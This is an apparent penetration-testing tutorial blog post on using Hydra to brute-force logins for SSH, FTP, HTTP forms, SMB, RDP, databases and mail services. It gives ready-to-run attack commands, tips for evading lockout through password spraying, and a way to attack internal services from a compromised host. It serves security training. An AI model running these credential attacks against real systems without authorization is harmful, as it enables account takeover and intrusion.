Hydra: Online Brute Force for Any Service That Has a Login
- Tony Kelly
- May 25
- 7 min read

Series: The Community's Red Team
Post: 07 of 17
Tags: hydra, brute force, ssh, ftp, http, password attacks, tools
Read time: ~11 min
Prerequisites: Post 01 — Methodology, Post 05 — Enum4linux (for password policy)
Every service with a login prompt is potentially vulnerable to one of the oldest attacks in the book: try every password you know until one works. Hydra is the tool that automates this across almost every network protocol that exists.
The important distinction before we go further: Hydra is an online brute force tool. It makes live network requests against a running service. That means the service has to be reachable, the account you're targeting has to exist, and if there's a lockout policy you will trigger it if you're not careful. This is different from offline hash cracking with Hashcat — there's no network needed for that, and no lockout risk. Know which situation you're in before you pick your tool.
Hydra's strength is breadth. SSH, FTP, HTTP (both basic auth and login forms), SMB, RDP, WinRM, MySQL, MSSQL, SMTP, POP3, IMAP — if it has a network authentication mechanism, Hydra probably has a module for it.
Always Check the Password Policy First
Before running Hydra against anything on a real network, you need to know the lockout threshold. This came from Enum4linux (Post 05):
Lockout threshold: 5
Lockout duration: 30 minutes
If the threshold is 5, you can only try 4 passwords per account before it locks. That means a full rockyou.txt brute force will lock every account you target. In that situation you switch to password spraying — one password, many users — which keeps you under the threshold per account.
If the output showed Lockout threshold: None, you're free to brute force without worrying about lockouts.
In CTF lab environments, lockout is usually disabled. In real engagements, assume it exists unless proven otherwise.
Core Syntax
Hydra's syntax follows a consistent pattern once you internalize it:
hydra [options] <target> <module>
The key flags:
Flag | What it does |
-l | Single username |
-L | Username list file |
-p | Single password |
-P | Password list file |
-C | Combined user:pass file (one pair per line) |
-t | Parallel threads (default 16) |
-s | Non-default port |
-f | Stop after first valid credential found |
-V | Verbose — show every attempt |
-o | Save output to file |
-I | Ignore existing restore file, start fresh |
-e nsr | Also try: n=empty password, s=password=username, r=reverse of username |
The most common combinations:
# One user, try a password list
hydra -l <user> -P rockyou.txt <target> <module>
# User list + password list
hydra -L users.txt -P passwords.txt <target> <module>
# One user, one password (just confirm it works)
hydra -l admin -p admin123 <target> <module>
# Pre-combined user:pass file
hydra -C combo.txt <target> <module>
Before You Run: Confirm the Failure String
This applies specifically to HTTP login forms but it's a good habit everywhere. Before running Hydra against a login, manually submit a wrong credential and note exactly what the server returns when it fails.
Hydra needs to know what "wrong password" looks like so it can identify when it gets something different. If you give it the wrong failure string, it will either report every attempt as a success or every attempt as a failure.
# Submit a test request and see the response
curl -s -d "username=admin&password=wrongpassword" http://<target>/login | tail -20
The failure text — Invalid credentials, Login failed, Wrong password, whatever the page says — goes into Hydra's module string.
SSH
The most common use case. Found a username, want to try a password list:
hydra -l <user> -P rockyou.txt ssh://<target>
With a user list:
hydra -L users.txt -P rockyou.txt ssh://<target> -t 4
Use -t 4 for SSH. SSH is stateful and rate-limits concurrent connections. More than 4-6 threads will cause connection failures and missed results. The default 16 threads will hurt you here.
Non-standard port:
hydra -l <user> -P rockyou.txt ssh://<target> -s 2222
FTP
hydra -l <user> -P rockyou.txt ftp://<target>
Important: FTP often only listens on localhost on internal machines. If you SSH into a box and discover an FTP service running internally, you run Hydra from that box against 127.0.0.1 — not from your attack machine:
# From inside an SSH session on the target
hydra -l <user> -P passwords.txt ftp://127.0.0.1 -t 1
-t 1 for rate-limited or flaky FTP servers. Some implementations drop connections quickly under parallel load.
HTTP Basic Auth
HTTP basic auth is when the browser shows a popup asking for username and password — there's no HTML form, just a browser dialog. The server returns a 401 Unauthorized with a WWW-Authenticate: Basic header.
Identify it first:
curl -I http://<target>
# Look for: WWW-Authenticate: Basic realm="..."
Attack it:
hydra -l admin -P rockyou.txt http-get://<target>/
hydra -l admin -P rockyou.txt <target> http-get /admin/ -s 8080
The path after http-get is the protected resource. If it's the root (/), use /. If it's a specific directory, use that path.
HTTP Login Forms (POST)
This is the most complex Hydra use case and the one most people get wrong. Login forms submit credentials via HTTP POST to a specific endpoint. Hydra needs three things: the path, the POST body format, and the failure string.
hydra -l admin -P rockyou.txt <target> http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
Breaking down that module string — it has three parts separated by colons:
/login — the path the form submits to
username=^USER^&password=^PASS^ — the POST body, with ^USER^ and ^PASS^ as placeholders
Invalid credentials — the text that appears in the response when the login fails
Getting the right POST body: View the page source or use the browser developer tools (Network tab) to capture a real login attempt. The form field names are in the HTML <form> element:
curl -s http://<target>/login | grep -i "input\|form"
Look for name="username" and name="password" (or whatever the actual field names are). These go into the POST body template.
Getting the failure string: Submit a wrong password manually, look at what the page says. Even something as short as Invalid often works as the failure string.
HTTPS login forms: Add -s for SSL:
hydra -l admin -P rockyou.txt <target> https-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
SMB
hydra -l <user> -P rockyou.txt smb://<target>
This works but CrackMapExec (Post 06) is generally better for SMB credential testing — it gives more information, handles domains properly, and is designed for Windows network environments. Use Hydra for SMB when you need the full wordlist brute force capability and CME isn't available.
RDP
hydra -l administrator -P rockyou.txt rdp://<target> -t 4
-t 4 again — RDP doesn't handle high thread counts well. Lower threads, slower but more reliable.
MySQL and MSSQL
# MySQL
hydra -l root -P rockyou.txt mysql://<target>
# MSSQL
hydra -l sa -P rockyou.txt mssql://<target>
Try the service defaults first (root for MySQL, sa for MSSQL) before running a full list.
Email Services
# SMTP
hydra -l user@domain.com -P rockyou.txt smtp://<target>
# POP3
hydra -l user@domain.com -P rockyou.txt pop3://<target>
# IMAP
hydra -l user@domain.com -P rockyou.txt imap://<target>
Email services use the full email address as the username, not just the username part.
The -e nsr Flag
Before burning through a wordlist, try the quick wins:
hydra -l admin -P rockyou.txt <target> ssh -e nsr
-e n — try empty password-e s — try password = username (so admin:admin)-e r — try reverse of username (so admin:nimda)
These catch the laziest configurations without needing a wordlist at all. Run -e nsr first, then launch the full password list only if nothing hits.
Wordlist Selection
The wordlist is as important as the command. Starting with a massive list wastes time if a shorter targeted list would find it faster.
For most initial attempts:
/usr/share/wordlists/rockyou.txt — 14M entries, catches most weak passwords
/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt — fast first pass
/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt — small and effective
Filtering to match a password policy:
If Enum4linux showed minimum length 8, complexity enabled, you can filter rockyou.txt to only try passwords that match:
grep -E '^.{8,}$' /usr/share/wordlists/rockyou.txt | \
grep -E '[A-Z]' | \
grep -E '[0-9]' > filtered.txt
This cuts a 14M list to something much smaller and targeted. Garbage in, garbage out — a list full of passwords that couldn't possibly match the policy just wastes time.
Troubleshooting Common Problems
Every attempt shows as success:Your failure string is wrong. Hydra is matching the response to the success condition instead of the failure one. Test manually with curl -d and adjust the string.
Every attempt fails immediately:Either the target is rate-limiting connections (reduce -t), the POST body format is wrong, or the path is incorrect. Capture a real request in your browser dev tools to confirm the exact format.
SSH brute force is extremely slow:Normal. SSH is inherently slow to authenticate. Stick with -t 4 and let it run. Consider switching to a shorter, targeted wordlist.
Getting 401 on an HTTP form:It's not a form — it's HTTP basic auth. Switch from http-post-form to http-get.
FTP can't connect:FTP may only be listening on localhost. SSH into the target first, then run Hydra from there.
Quick Reference
# SSH
hydra -l <user> -P rockyou.txt ssh://<target> -t 4
hydra -L users.txt -P passwords.txt ssh://<target> -t 4
# FTP
hydra -l <user> -P rockyou.txt ftp://<target>
hydra -l <user> -P passwords.txt ftp://127.0.0.1 -t 1 # internal FTP from SSH session
# HTTP basic auth
hydra -l admin -P rockyou.txt http-get://<target>/
hydra -l admin -P rockyou.txt <target> http-get / -s 8080
# HTTP POST form
hydra -l admin -P rockyou.txt <target> http-post-form \
"/<path>:<post_body_with_^USER^_and_^PASS^>:<failure_string>"
# HTTPS form
hydra -l admin -P rockyou.txt <target> https-post-form \
"/<path>:<post_body>:<failure_string>"
# SMB
hydra -l <user> -P rockyou.txt smb://<target>
# RDP
hydra -l administrator -P rockyou.txt rdp://<target> -t 4
# MySQL
hydra -l root -P rockyou.txt mysql://<target>
# MSSQL
hydra -l sa -P rockyou.txt mssql://<target>
# SMTP
hydra -l user@domain.com -P rockyou.txt smtp://<target>
# Quick wins first
hydra -l admin -P rockyou.txt <target> <module> -e nsr
# Stop on first hit, save output
hydra -l <user> -P rockyou.txt <target> <module> -f -o hydra_output.txt
What's Next
Hydra handles services that need individual targeted attacks. For situations where you want to attack one service with a list of both usernames and passwords simultaneously in parallel — especially FTP running locally on a machine you've already accessed — Post 08 (Medusa) covers that workflow and is the better fit for multi-target parallel attacks.
If you've cracked something and need to deal with hashes rather than live services, Post 09 (Hashcat) is the offline cracking counterpart.
MeshForge — Training the Community's Red Team
They count on your ignorance. The exploit only works on the uninformed.



Comments